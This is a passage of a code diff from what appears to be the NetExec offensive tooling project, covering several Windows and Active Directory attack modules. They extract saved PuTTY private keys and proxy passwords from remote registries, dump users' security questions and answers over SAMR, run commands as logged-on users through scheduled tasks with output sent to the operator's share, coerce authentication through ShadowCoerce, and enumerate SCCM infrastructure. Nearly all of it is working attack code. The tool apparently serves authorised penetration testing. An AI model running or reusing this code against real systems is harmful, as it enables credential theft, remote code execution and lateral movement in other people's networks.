proxy_username = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "ProxyUsername")[1].split("\x00")[:-1][0]
proxy_password = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "ProxyPassword")[1].split("\x00")[:-1][0]
# Session infos
hostname = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "HostName")[1].split("\x00")[:-1][0]
port = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "PortNumber")[1]
protocol = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "Protocol")[1].split("\x00")[:-1][0]
sessions.append({
"user": self.user_dict[user],
"session_name": unquote(session_name),
"hostname": hostname,
"port": port,
"protocol": protocol,
"private_key_path": private_key_path,
"proxy_host": proxy_host,
"proxy_port": proxy_port,
"proxy_username": proxy_username,
"proxy_password": proxy_password
})
rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
except DCERPCException as e:
if str(e).find("ERROR_FILE_NOT_FOUND"):
self.context.log.debug(f"No PuTTY session config found in registry for user {self.user_dict[user]}")
except Exception as e:
self.context.log.fail(f"Unexpected error: {e}")
self.context.log.debug(traceback.format_exc())
return sessions
def extract_session(self, sessions):
proxycreds_file = f"{NXC_PATH}/modules/PuTTY/putty_proxycreds_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-")
for session in sessions:
if session["private_key_path"]:
makedirs(f"{NXC_PATH}/modules/PuTTY", exist_ok=True)
share = session["private_key_path"].split(":")[0] + "$"
file_path = session["private_key_path"].split(":")[1]
download_path = f"{NXC_PATH}/modules/PuTTY/putty_{session['user']}_{session['session_name']}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.sec".replace(":", "-")
buf = BytesIO()
with open(download_path, "wb") as file:
try:
self.connection.conn.getFile(share, file_path, buf.write)
except Exception as e:
if str(e).find("STATUS_OBJECT_NAME_NOT_FOUND") != -1:
self.context.log.fail(f"Private key path found but file not found: {share + file_path}")
else:
self.context.log.exception(f"Error downloading private key: {e}")
continue
file.write(buf.getvalue())
self.context.log.success(f"Private key found for user \"{session['user']}\", saved to {highlight(download_path)}")
self.context.log.highlight(f"Sessionname: {session['session_name']}")
self.context.log.highlight(f"Host: {session['hostname']}:{session['port']}")
self.context.log.highlight(f"Protocol: {session['protocol']}")
if session["proxy_password"]:
self.context.log.success(f"Found proxy credentials for user \"{session['user']}\"")
self.context.log.highlight(f"Sessionname: {session['session_name']}")
self.context.log.highlight(f"Host: {session['hostname']}:{session['port']}")
self.context.log.highlight(f"Protocol: {session['protocol']}")
self.context.log.highlight(f"Proxy Host: {session['proxy_host']}:{session['proxy_port']}")
self.context.log.highlight(f"Proxy Username: {session['proxy_username']}")
self.context.log.highlight(f"Proxy Password: {session['proxy_password']}")
with open(proxycreds_file, "a") as f:
f.write("================\n")
f.write(f"User: {session['user']}\n")
f.write(f"Sessionname: {session['session_name']}\n")
f.write(f"Host: {session['hostname']}:{session['port']}\n")
f.write(f"Protocol: {session['protocol']}\n")
f.write(f"Proxy Host: {session['proxy_host']}:{session['proxy_port']}\n")
f.write(f"Proxy Username: {session['proxy_username']}\n")
f.write(f"Proxy Password: {session['proxy_password']}\n")
self.context.log.display(f"Proxy credentials saved to {highlight(proxycreds_file)}")
def on_admin_login(self, context, connection):
self.connection = connection
self.context = context
try:
self.rrp = RemoteOperations(connection.conn, connection.kerberos)
self.rrp.enableRegistry()
all_users = self.get_all_users()
loaded_user_objects = self.get_logged_on_users()
self.user_dict = self.sid_to_name(all_users)
# Users which must be loaded into registry:
unloaded_user_objects = list(set(all_users).symmetric_difference(set(loaded_user_objects)))
self.load_missing_users(unloaded_user_objects)
sessions = self.get_private_key_paths(all_users)
if sessions:
self.extract_session(sessions)
else:
self.context.log.info("No saved putty sessions found in registry")
self.unload_missing_users(unloaded_user_objects)
except Exception as e:
context.log.exception(f"Error: {e}")
finally:
self.rrp.finish()
-1
View File
@@ -103,7 +103,6 @@ class NXCModule:
pvkbytes=self.pvkbytes,
passwords=plaintexts,
nthashes=nthashes,
dpapiSystem={},
)
self.masterkeys = masterkeys_triage.triage_masterkeys()
except Exception as e:
+3 -5
View File
@@ -83,7 +83,7 @@ class NXCModule:
wmi_rdp = RdpWmi(context, connection, self.dcom_timeout)
if hasattr(wmi_rdp, "_RdpWmi__iWbemLevel1Login"):
if hasattr(wmi_rdp, "_rdp_WMI__iWbemLevel1Login"):
if "ram" in self.action:
# Nt version under 6 not support RAM.
try:
@@ -101,7 +101,7 @@ class NXCModule:
context.log.fail("Looks like target system version is under NT6, please add 'OLD=true' in module options.")
else:
context.log.fail(str(e))
wmi_rdp._RdpWmi__dcom.disconnect()
wmi_rdp._rdp_WMI__dcom.disconnect()
class RdpSmb:
@@ -218,7 +218,6 @@ class RdpWmi:
self.__target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
self.__doKerberos = connection.kerberos
self.__kdcHost = connection.kdcHost
self.__remoteHost = connection.host
self.__aesKey = connection.aesKey
self.__timeout = timeout
@@ -234,12 +233,11 @@ class RdpWmi:
oxidResolver=True,
doKerberos=self.__doKerberos,
kdcHost=self.__kdcHost,
remoteHost=self.__remoteHost,
)
i_interface = self.__dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
if self.__currentprotocol == "smb":
flag, self.__stringBinding = dcom_FirewallChecker(i_interface, self.__remoteHost, self.__timeout)
flag, self.__stringBinding = dcom_FirewallChecker(i_interface, self.__timeout)
if not flag or not self.__stringBinding:
error_msg = f'RDP-WMI: Dcom initialization failed on connection with stringbinding: "{self.__stringBinding}", please increase the timeout with the module option "DCOM-TIMEOUT=10". If it\'s still failing maybe something is blocking the RPC connection, please try to use "-o" with "METHOD=smb"'
-288
View File
@@ -1,288 +0,0 @@
from impacket.ldap import ldap, ldaptypes, ldapasn1 as ldapasn1_impacket
from impacket.ldap.ldap import LDAPSearchError
from ldap3.protocol.microsoft import security_descriptor_control
from nxc.parsers.ldap_results import parse_result_attributes
SAM_USER_OBJECT = 0x30000000
SAM_MACHINE_ACCOUNT = 0x30000001
SAM_GROUP_OBJECT = 0x10000000
LDAP_MATCHING_RULE_IN_CHAIN = "1.2.840.113556.1.4.1941"
class NXCModule:
"""
Implementation of the SCCM RECON-1 technique to find SCCM related objects in Active Directory.
See:
https://github.com/subat0mik/Misconfiguration-Manager/blob/main/attack-techniques/RECON/RECON-1/recon-1_description.md
https://github.com/garrettfoster13/sccmhunter
Module by @NeffIsBack
"""
name = "sccm"
description = "Find a SCCM infrastructure in the Active Directory"
supported_protocols = ["ldap"]
opsec_safe = True
multiple_hosts = True
def __init__(self):
self.sccm_site_servers = [] # List of dns host names of the SCCM site servers
self.sccm_sites = {} # List of SCCM sites with their management points (Sorted by site code)
self.base_dn = ""
self.recursive_resolve = False
self.user_objects = []
self.computer_objects = []
self.group_objects = {}
def options(self, context, module_options):
"""
BASE_DN The base domain name for the LDAP query
REC_RESOLVE Resolve members of groups recursively. Default: False
"""
if module_options and "BASE_DN" in module_options:
self.base_dn = module_options["BASE_DN"]
if module_options and "REC_RESOLVE" in module_options:
self.recursive_resolve = bool(module_options["REC_RESOLVE"])
def on_login(self, context, connection):
"""On a successful LDAP login we perform a search for all PKI Enrollment Server or Certificate Templates Names."""
self.context = context
self.connection = connection
self.base_dn = connection.ldapConnection._baseDN if not self.base_dn else self.base_dn
self.sc = ldap.SimplePagedResultsControl()
# Basic SCCM enumeration
try:
# Search for SCCM root object
search_filter = f"(distinguishedName=CN=System Management,CN=System,{self.base_dn})"
controls = security_descriptor_control(sdflags=0x04)
context.log.display(f"Looking for the SCCM container with filter: '{search_filter}'")
result = connection.ldapConnection.search(
searchFilter=search_filter,
attributes=["nTSecurityDescriptor"],
sizeLimit=0,
searchControls=controls,
searchBase=self.base_dn,
)
# There should be only one result
for item in result:
if isinstance(item, ldapasn1_impacket.SearchResultEntry):
self.context.log.success(f"Found SCCM object: {item[0]}")
self.get_site_servers(item)
self.get_sites()
self.get_management_points()
# Print results
self.context.log.success(f"Found {len(self.sccm_site_servers)} Site Servers:")
for site in self.sccm_site_servers:
ip = self.connection.resolver(site)
self.context.log.highlight(f"{site} - {ip['host'] if ip else 'unknown'}")
self.context.log.success(f"Found {len(self.sccm_sites)} SCCM Sites:")
for site in self.sccm_sites:
self.context.log.highlight(f"{self.sccm_sites[site]['cn']}")
self.context.log.highlight(f" Site Code: {site.rjust(14)}")
self.context.log.highlight(f" Assignment Site Code: {self.sccm_sites[site]['AssignmentSiteCode'].rjust(3)}")
# If there aren't Management Points, it's a Central Administration Site
if self.sccm_sites[site]["ManagementPoints"]:
self.context.log.highlight(f" CAS: {' ':<17}{False}")
self.context.log.highlight(" Management Points:")
for mp in self.sccm_sites[site]["ManagementPoints"]:
self.context.log.highlight(f" CN:{' ':<12}{mp['cn']}")
self.context.log.highlight(f" DNS Hostname:{' ':<2}{mp['dNSHostName']}")
self.context.log.highlight(f" IP Address:{' ':<4}{mp['IPAddress']}")
self.context.log.highlight(f" Default MP:{' ':<4}{mp['mSSMSDefaultMP']}")
else:
self.context.log.highlight(f" CAS: {' ':<17}{True}")
self.context.log.highlight("")
except LDAPSearchError as e:
context.log.fail(f"Got unexpected exception: {e}")
# SCCM named objects enumeration
self.get_sccm_named_objects(context, connection)
if self.user_objects:
context.log.success(f"Found {len(self.user_objects)} SCCM related user objects:")
for user in self.user_objects:
context.log.highlight(user)
if self.computer_objects:
context.log.success(f"Found {len(self.computer_objects)} SCCM related computer objects:")
for computer in self.computer_objects:
context.log.highlight(computer)
if self.group_objects:
context.log.success(f"Found {len(self.group_objects)} SCCM related group objects:")
for group in self.group_objects:
context.log.highlight(self.group_objects[group]["sAMAccountName"])
for child in self.group_objects[group]["children"]:
if int(child["sAMAccountType"]) == SAM_USER_OBJECT:
context.log.highlight(f" {child['sAMAccountName']} -> User")
elif int(child["sAMAccountType"]) == SAM_MACHINE_ACCOUNT:
context.log.highlight(f" {child['sAMAccountName']} -> Computer")
elif int(child["sAMAccountType"]) == SAM_GROUP_OBJECT:
context.log.highlight(f" {child['sAMAccountName']} -> Group")
def get_sccm_named_objects(self, context, connection):
"""Enumerate users/groups/computers with "SCCM" in their name"""
# hippity hoppity your code is now my property, filter stolen from the awesome sccmhunter repository
# https://github.com/garrettfoster13/sccmhunter
try:
yoinkers = "(|(samaccountname=*sccm*)(samaccountname=*mecm*)(description=*sccm*)(description=*mecm*)(name=*sccm*)(name=*mecm*))"
context.log.display("Searching for SCCM related objects")
result = connection.ldapConnection.search(
searchFilter=yoinkers,
searchBase=self.base_dn,
attributes=["sAMAccountName", "distinguishedName", "sAMAccountType"],
)
result = parse_result_attributes(result)
for res in result:
if "sAMAccountType" in res and int(res["sAMAccountType"]) == SAM_USER_OBJECT:
self.user_objects.append(res["sAMAccountName"])
elif "sAMAccountType" in res and int(res["sAMAccountType"]) == SAM_MACHINE_ACCOUNT:
self.computer_objects.append(res["sAMAccountName"])
elif "sAMAccountType" in res and int(res["sAMAccountType"]) == SAM_GROUP_OBJECT:
self.group_objects[res["distinguishedName"]] = {
"sAMAccountName": res["sAMAccountName"],
"children": [],
}
if self.recursive_resolve:
self.resolve_recursive(res["distinguishedName"])
except LDAPSearchError as e:
context.log.fail(f"Got unexpected exception: {e}")
def resolve_recursive(self, dn):
"""Recursively resolve members of a group."""
try:
self.context.log.debug(f"Resolving group members recursively for {dn}")
# Somehow BaseDN is not working together with the LDAP_MATCHING_RULE_IN_CHAIN
result = self.connection.ldapConnection.search(
searchFilter=f"(memberOf:{LDAP_MATCHING_RULE_IN_CHAIN}:={dn})",
attributes=["sAMAccountName", "distinguishedName", "sAMAccountType"],
)
result = parse_result_attributes(result)
for res in result:
self.group_objects[dn]["children"].append({
"sAMAccountName": res["sAMAccountName"],
"distinguishedName": res["distinguishedName"],
"sAMAccountType": res["sAMAccountType"],
})
except LDAPSearchError as e:
self.context.log.error(f"Error resolving group members: {e}")
def get_management_points(self):
"""Searches for all SCCM management points in the Active Directory and maps them to their SCCM site via the site code."""
try:
response = self.connection.ldapConnection.search(
searchBase=self.base_dn,
searchFilter="(objectClass=mSSMSManagementPoint)",
attributes=["cn", "dNSHostName", "mSSMSDefaultMP", "mSSMSSiteCode"],
)
response_parsed = parse_result_attributes(response)
for mp in response_parsed:
ip = self.connection.resolver(mp["dNSHostName"])
self.sccm_sites[mp["mSSMSSiteCode"]]["ManagementPoints"].append({
"cn": mp["cn"],
"dNSHostName": mp["dNSHostName"],
"IPAddress": ip["host"] if ip else "-",
"mSSMSDefaultMP": mp["mSSMSDefaultMP"],
})
except LDAPSearchError as e:
self.context.log.error(f"Error searching for management points: {e}")
def get_sites(self):
"""Searches for all SCCM sites in the Active Directory, sorted by site code."""
try:
response = self.connection.ldapConnection.search(
searchBase=self.base_dn,
searchFilter="(objectClass=mSSMSSite)",
attributes=["cn", "mSSMSSiteCode", "mSSMSAssignmentSiteCode"],
)
response_parsed = parse_result_attributes(response)
for site in response_parsed:
self.sccm_sites[site["mSSMSSiteCode"]] = {
"cn": site["cn"],
"AssignmentSiteCode": site["mSSMSAssignmentSiteCode"],
"ManagementPoints": []
}
except LDAPSearchError as e:
self.context.log.error(f"Error searching for sites: {e}")
def get_site_servers(self, item):
"""Extracts the site servers from the root SCCM object."""
raw_sec_descriptor = str(item[1][0][1][0]).encode("latin-1")
principal_security_descriptor = ldaptypes.SR_SECURITY_DESCRIPTOR(data=raw_sec_descriptor)
self.parse_dacl(principal_security_descriptor["Dacl"])
self.sccm_site_servers = set(self.sccm_site_servers) # Make list unique
def parse_dacl(self, dacl):
"""Parses a DACL and extracts the dns host names with full control over the SCCM object."""
self.context.log.debug("Parsing DACL")
for ace in dacl["Data"]:
self.parse_ace(ace)
def parse_ace(self, ace):
"""Parses an ACE and resolves the SID if the SID of the ACE has full control."""
if ace["TypeName"] in ["ACCESS_ALLOWED_ACE", "ACCESS_ALLOWED_OBJECT_ACE"]:
ace = ace["Ace"]
sid = ace["Sid"].formatCanonical()
mask = ace["Mask"]
fullcontrol = 0xf01ff
if mask.hasPriv(fullcontrol):
self.resolve_SID(sid)
def resolve_SID(self, sid):
"""Tries to resolve a SID and add the dNSHostName to the sccm site list."""
try:
self.context.log.debug(f"Resolving SID: {sid}")
result = self.connection.ldapConnection.search(
searchBase=self.base_dn,
searchFilter=f"(objectSid={sid})",
attributes=["sAMAccountName", "sAMAccountType", "member", "dNSHostName"],
)
parsed_result = parse_result_attributes(result)
if not parsed_result:
return None
else:
parsed_result = parsed_result[0] # We only have one result as we always query a single SID
if int(parsed_result["sAMAccountType"]) == SAM_MACHINE_ACCOUNT:
self.context.log.debug(f"Found object with full control over SCCM object. SID: {sid}, dns_hostname: {parsed_result['dNSHostName']}")
self.sccm_site_servers.append(parsed_result["dNSHostName"])
elif int(parsed_result["sAMAccountType"]) == SAM_GROUP_OBJECT:
if isinstance(parsed_result["member"], list):
for member in parsed_result["member"]:
member_sid = self.dn_to_sid(member)
if member_sid:
self.resolve_SID(member_sid)
else: # Group has only one member
member_sid = self.dn_to_sid(parsed_result["member"])
if member_sid:
self.resolve_SID(member_sid)
except Exception as e:
self.context.log.debug(f"SID not found in LDAP: {sid}, {e}")
return ""
def dn_to_sid(self, dn) -> str:
"""Tries to resolve a DN to a SID."""
result = self.connection.ldapConnection.search(
searchBase=self.base_dn,
searchFilter=f"(distinguishedName={dn})",
attributes=["sAMAccountName", "objectSid"],
)
# Extract the SID of the object
sid_raw = bytes(result[0][1][0][1].components[0])
return ldaptypes.LDAP_SID(data=sid_raw).formatCanonical()
+8 -32
View File
@@ -4,7 +4,6 @@ from datetime import datetime
from impacket.dcerpc.v5.dtypes import NULL
from impacket.dcerpc.v5 import tsch, transport
from nxc.helpers.misc import gen_random_string
from nxc.paths import TMP_PATH
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
@@ -15,29 +14,17 @@ class NXCModule:
"""
def options(self, context, module_options):
r"""
"""
CMD Command to execute
USER User to execute command as
TASK OPTIONAL: Set a name for the scheduled task name
FILE OPTIONAL: Set a name for the command output file
LOCATION OPTIONAL: Set a location for the command output file (e.g. '\tmp\')
"""
self.cmd = self.user = self.task = self.file = self.location = self.time = None
self.cmd = self.user = self.time = None
if "CMD" in module_options:
self.cmd = module_options["CMD"]
if "USER" in module_options:
self.user = module_options["USER"]
if "TASK" in module_options:
self.task = module_options["TASK"]
if "FILE" in module_options:
self.file = module_options["FILE"]
if "LOCATION" in module_options:
self.location = module_options["LOCATION"]
name = "schtask_as"
description = "Remotely execute a scheduled task as a logged on user"
supported_protocols = ["smb"]
@@ -63,12 +50,8 @@ class NXCModule:
connection.domain,
self.user,
self.cmd,
self.file,
self.task,
self.location,
connection.kerberos,
connection.aesKey,
connection.host,
connection.kdcHost,
connection.hash,
self.logger,
@@ -94,7 +77,7 @@ class NXCModule:
class TSCH_EXEC:
def __init__(self, target, share_name, username, password, domain, user, cmd, file, task, location, doKerberos=False, aesKey=None, remoteHost=None, kdcHost=None, hashes=None, logger=None, tries=None, share=None):
def __init__(self, target, share_name, username, password, domain, user, cmd, doKerberos=False, aesKey=None, kdcHost=None, hashes=None, logger=None, tries=None, share=None):
self.__target = target
self.__username = username
self.__password = password
@@ -106,7 +89,6 @@ class TSCH_EXEC:
self.__retOutput = False
self.__aesKey = aesKey
self.__doKerberos = doKerberos
self.__remoteHost = remoteHost
self.__kdcHost = kdcHost
self.__tries = tries
self.__output_filename = None
@@ -114,9 +96,6 @@ class TSCH_EXEC:
self.logger = logger
self.cmd = cmd
self.user = user
self.file = file
self.task = task
self.location = location
if hashes is not None:
if hashes.find(":") != -1:
@@ -129,7 +108,6 @@ class TSCH_EXEC:
stringbinding = f"ncacn_np:{self.__target}[\\pipe\\atsvc]"
self.__rpctransport = transport.DCERPCTransportFactory(stringbinding)
self.__rpctransport.setRemoteHost(self.__remoteHost)
if hasattr(self.__rpctransport, "set_credentials"):
# This method exists only for selected protocol sequences.
@@ -199,11 +177,7 @@ class TSCH_EXEC:
<Command>cmd.exe</Command>
"""
if self.__retOutput:
fileLocation = "\\Windows\\Temp\\" if self.location is None else self.location
if self.file is None:
self.__output_filename = os.path.join(fileLocation, gen_random_string(6))
else:
self.__output_filename = os.path.join(fileLocation, self.file)
self.__output_filename = f"\\Windows\\Temp\\{gen_random_string(6)}"
if fileless:
local_ip = self.__rpctransport.get_socket().getsockname()[0]
argument_xml = f" <Arguments>/C {command} &gt; \\\\{local_ip}\\{self.__share_name}\\{self.__output_filename} 2&gt;&amp;1</Arguments>"
@@ -229,7 +203,9 @@ class TSCH_EXEC:
dce.set_credentials(*self.__rpctransport.get_credentials())
dce.connect()
tmpName = gen_random_string(8) if self.task is None else self.task
tmpName = gen_random_string(8)
xml = self.gen_xml(command, fileless)
self.logger.info(f"Task XML: {xml}")
@@ -276,7 +252,7 @@ class TSCH_EXEC:
if fileless:
while True:
try:
with open(os.path.join(TMP_PATH, self.__output_filename)) as output:
with open(os.path.join("/tmp", "nxc_hosted", self.__output_filename)) as output:
self.output_callback(output.read())
break
except OSError:
-134
View File
@@ -1,134 +0,0 @@
from impacket.dcerpc.v5 import samr, transport
from impacket.nt_errors import STATUS_MORE_ENTRIES
from impacket.dcerpc.v5.rpcrt import DCERPCException
from json import loads
from traceback import format_exc as traceback_format_exc
class NXCModule:
"""
Module by Adamkadaban: @Adamkadaban
Based on research from @0gtweet (@gtworek)
Much of this code was copied from add_computer.py
Reference: https://hackback.zip/2024/05/08/Remotely-Dumping-Windows-Security-Questions-With-Impacket.html
"""
name = "security-questions"
description = "Gets security questions and answers for users on computer"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def options(self, context, module):
pass
def on_admin_login(self, context, connection):
self.__domain = connection.domain
self.__domainNetbios = connection.domain
self.__kdcHost = connection.hostname + "." + connection.domain
self.__target = self.__kdcHost
self.__username = connection.username
self.__password = connection.password
self.__targetIp = connection.host
self.__port = context.smb_server_port
self.__aesKey = context.aesKey
self.__hashes = context.hash
self.__doKerberos = connection.kerberos
self.__nthash = ""
self.__lmhash = ""
if context.hash and ":" in context.hash[0]:
hashList = context.hash[0].split(":")
self.__nthash = hashList[-1]
self.__lmhash = hashList[0]
elif context.hash and ":" not in context.hash[0]:
self.__nthash = context.hash[0]
self.__lmhash = "00000000000000000000000000000000"
self.getSAMRResetInfo(context)
def getSAMRResetInfo(self, context):
string_binding = f"ncacn_np:{self.__targetIp}[\\pipe\\samr]"
rpc_transport = transport.DCERPCTransportFactory(string_binding)
rpc_transport.set_dport(445)
rpc_transport.setRemoteHost(self.__targetIp)
if hasattr(rpc_transport, "set_credentials"):
# This method exists only for selected protocol sequences.
rpc_transport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash,
self.__nthash, self.__aesKey)
rpc_transport.set_kerberos(self.__doKerberos, self.__kdcHost)
try:
dce = rpc_transport.get_dce_rpc()
dce.connect()
dce.bind(samr.MSRPC_UUID_SAMR)
# obtain server handle for samr connection
resp = samr.hSamrConnect(dce)
server_handle = resp["ServerHandle"]
resp = samr.hSamrEnumerateDomainsInSamServer(dce, server_handle)
domains = resp["Buffer"]["Buffer"]
resp = samr.hSamrLookupDomainInSamServer(dce, server_handle, domains[0]["Name"])
# obtain domain handle for samr connection
resp = samr.hSamrOpenDomain(dce, serverHandle=server_handle, domainId=resp["DomainId"])
domain_handle = resp["DomainHandle"]
status = STATUS_MORE_ENTRIES
enumeration_context = 0
# try to iterate through users in domain entries for connection
while status == STATUS_MORE_ENTRIES:
try:
resp = samr.hSamrEnumerateUsersInDomain(dce, domain_handle, enumerationContext=enumeration_context)
except DCERPCException as e:
if str(e).find("STATUS_MORE_ENTRIES") < 0:
raise
resp = e.get_packet()
for user in resp["Buffer"]["Buffer"]:
try:
context.log.info(f"Querying security questions for User: {user['Name']}")
# request SAMR ID 30
# https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/6b0dff90-5ac0-429a-93aa-150334adabf6
r = samr.hSamrOpenUser(dce, domain_handle, samr.MAXIMUM_ALLOWED, user["RelativeId"])
info = samr.hSamrQueryInformationUser2(dce, r["UserHandle"], samr.USER_INFORMATION_CLASS.UserResetInformation)
reset_data = info["Buffer"]["Reset"]["ResetData"]
if reset_data == b"":
continue
reset_data = loads(reset_data)
questions = reset_data["questions"]
if len(questions) == 0:
context.log.highlight(f"User {user['Name']} has no security questions")
else:
for qna in questions:
question = qna["question"]
answer = qna["answer"]
context.log.highlight(f"{user['Name']} - {question}: {answer}")
samr.hSamrCloseHandle(dce, r["UserHandle"])
except samr.DCERPCException as e:
if "STATUS_INVALID_INFO_CLASS" in str(e):
context.log.debug(f"Failed to query security questions for User: {user['Name']}: {e!s}")
continue
else:
context.log.fail(f"Failed to query security questions for User: {user['Name']}: {e!s}")
context.log.debug(traceback_format_exc())
enumeration_context = resp["EnumerationContext"]
status = resp["ErrorCode"]
except Exception as e:
context.log.fail(f"Error: {e}")
context.log.debug(traceback_format_exc())
finally:
if domain_handle is not None:
samr.hSamrCloseHandle(dce, domain_handle)
if server_handle is not None:
samr.hSamrCloseHandle(dce, server_handle)
dce.disconnect()
+255 -2
View File
@@ -1,6 +1,22 @@
import time
from impacket import system_errors
from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5.ndr import NDRCALL
from impacket.dcerpc.v5.dtypes import BOOL, LONG, WSTR, LPWSTR
from impacket.uuid import uuidtup_to_bin
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.dcerpc.v5.rpcrt import (
RPC_C_AUTHN_WINNT,
RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
RPC_C_AUTHN_GSS_NEGOTIATE,
)
from impacket.smbconnection import SessionError
from nxc.logger import nxc_logger
class NXCModule:
name = "shadowcoerce"
description = "[REMOVED] Module to check if the target is vulnerable to ShadowCoerce, credit to @Shutdown and @topotam"
description = "Module to check if the target is vulnerable to ShadowCoerce, credit to @Shutdown and @topotam"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
@@ -19,4 +35,241 @@ class NXCModule:
self.ipsc = bool(module_options["IPSC"])
def on_login(self, context, connection):
context.log.fail('[REMOVED] This module moved to the new module "coerce_plus"')
c = CoerceAuth()
dce = c.connect(
username=connection.username,
password=connection.password,
domain=connection.domain,
lmhash=connection.lmhash,
nthash=connection.nthash,
aesKey=connection.aesKey,
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
pipe="FssagentRpc",
doKerberos=connection.kerberos,
dcHost=connection.kdcHost,
)
# If pipe not available, try again. "TL;DR: run the command twice if it doesn't work." - @Shutdown
if dce == 1:
context.log.debug("First try failed. Creating another dce connection...")
# Sleeping mandatory for second try
time.sleep(2)
dce = c.connect(
username=connection.username,
password=connection.password,
domain=connection.domain,
lmhash=connection.lmhash,
nthash=connection.nthash,
aesKey=connection.aesKey,
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
pipe="FssagentRpc",
)
if self.ipsc:
context.log.debug("ipsc = %s", self.ipsc)
context.log.debug("Using IsPathShadowCopied!")
result = c.IsPathShadowCopied(dce, self.listener)
else:
context.log.debug("ipsc = %s", self.ipsc)
context.log.debug("Using the default IsPathSupported")
result = c.IsPathSupported(dce, self.listener)
try:
dce.disconnect()
except SessionError as e:
context.log.debug(f"Error disconnecting DCE session: {e}")
if result:
context.log.highlight("VULNERABLE")
context.log.highlight("Next step: https://github.com/ShutdownRepo/ShadowCoerce")
else:
context.log.debug("Target not vulnerable to ShadowCoerce")
class DCERPCSessionError(DCERPCException):
def __init__(self, error_string=None, error_code=None, packet=None):
DCERPCException.__init__(self, error_string, error_code, packet)
def __str__(self):
key = self.error_code
error_messages = system_errors.ERROR_MESSAGES
error_messages.update(MSFSRVP_ERROR_CODES)
if key in error_messages:
error_msg_short = error_messages[key][0]
error_msg_verbose = error_messages[key][1]
return f"SessionError: code: 0x{self.error_code:x} - {error_msg_short} - {error_msg_verbose}"
else:
return f"SessionError: unknown error code: 0x{self.error_code:x}"
################################################################################
# Error Codes
################################################################################
MSFSRVP_ERROR_CODES = {
0x80070005: (
"E_ACCESSDENIED",
"The caller does not have the permissions to perform the operation",
),
0x80070057: ("E_INVALIDARG", "One or more arguments are invalid."),
0x80042301: (
"FSRVP_E_BAD_STATE",
"A method call was invalid because of the state of the server.",
),
0x80042316: (
"FSRVP_E_SHADOW_COPY_SET_IN_PROGRESS",
"A call was made to either SetContext (Opnum 1) or StartShadowCopySet (Opnum 2) while the creation of another shadow copy set is in progress.",
),
0x8004230C: (
"FSRVP_E_NOT_SUPPORTED",
"The file store that contains the share to be shadow copied is not supported by the server.",
),
0x00000102: (
"FSRVP_E_WAIT_TIMEOUT",
"The wait for a shadow copy commit or expose operation has timed out.",
),
0xFFFFFFFF: (
"FSRVP_E_WAIT_FAILED",
"The wait for a shadow copy commit expose operation has failed.",
),
0x8004230D: (
"FSRVP_E_OBJECT_ALREADY_EXISTS",
"The specified object already exists.",
),
0x80042308: ("FSRVP_E_OBJECT_NOT_FOUND", "The specified object does not exist."),
0x8004231B: (
"FSRVP_E_UNSUPPORTED_CONTEXT",
"The specified context value is invalid.",
),
0x80042501: (
"FSRVP_E_SHADOWCOPYSET_ID_MISMATCH",
"The provided ShadowCopySetId does not exist.",
),
}
################################################################################
# RPC CALLS
################################################################################
class IsPathSupported(NDRCALL):
opnum = 8
structure = (("ShareName", WSTR),)
class IsPathSupportedResponse(NDRCALL):
structure = (
("SupportedByThisProvider", BOOL),
("OwnerMachineName", LPWSTR),
)
class IsPathShadowCopied(NDRCALL):
opnum = 9
structure = (("ShareName", WSTR),)
class IsPathShadowCopiedResponse(NDRCALL):
structure = (
("ShadowCopyPresent", BOOL),
("ShadowCopyCompatibility", LONG),
)
OPNUMS = {
8: (IsPathSupported, IsPathSupportedResponse),
9: (IsPathShadowCopied, IsPathShadowCopiedResponse),
}
class CoerceAuth:
def connect(
self,
username,
password,
domain,
lmhash,
nthash,
aesKey,
target,
pipe,
doKerberos,
dcHost,
):
binding_params = {
"FssagentRpc": {
"stringBinding": r"ncacn_np:%s[\PIPE\FssagentRpc]" % target,
"UUID": ("a8e0653c-2744-4389-a61d-7373df8b2292", "1.0"),
},
}
rpctransport = transport.DCERPCTransportFactory(binding_params[pipe]["stringBinding"])
dce = rpctransport.get_dce_rpc()
if hasattr(rpctransport, "set_credentials"):
rpctransport.set_credentials(
username=username,
password=password,
domain=domain,
lmhash=lmhash,
nthash=nthash,
aesKey=aesKey,
)
dce.set_credentials(*rpctransport.get_credentials())
dce.set_auth_type(RPC_C_AUTHN_WINNT)
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
if doKerberos:
rpctransport.set_kerberos(doKerberos, kdcHost=dcHost)
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
nxc_logger.info(f"Connecting to {binding_params[pipe]['stringBinding']}")
try:
dce.connect()
except Exception as e:
# If pipe not available, try again. "TL;DR: run the command twice if it doesn't work." - @ShutdownRepo
if str(e).find("STATUS_PIPE_NOT_AVAILABLE") >= 0:
dce.disconnect()
return 1
nxc_logger.debug(f"Something went wrong, check error status => {e!s}")
nxc_logger.info("Connected!")
nxc_logger.info(f"Binding to {binding_params[pipe]['UUID'][0]}")
try:
dce.bind(uuidtup_to_bin(binding_params[pipe]["UUID"]))
except Exception as e:
nxc_logger.debug(f"Something went wrong, check error status => {e!s}")
nxc_logger.info("Successfully bound!")
return dce
def IsPathShadowCopied(self, dce, listener):
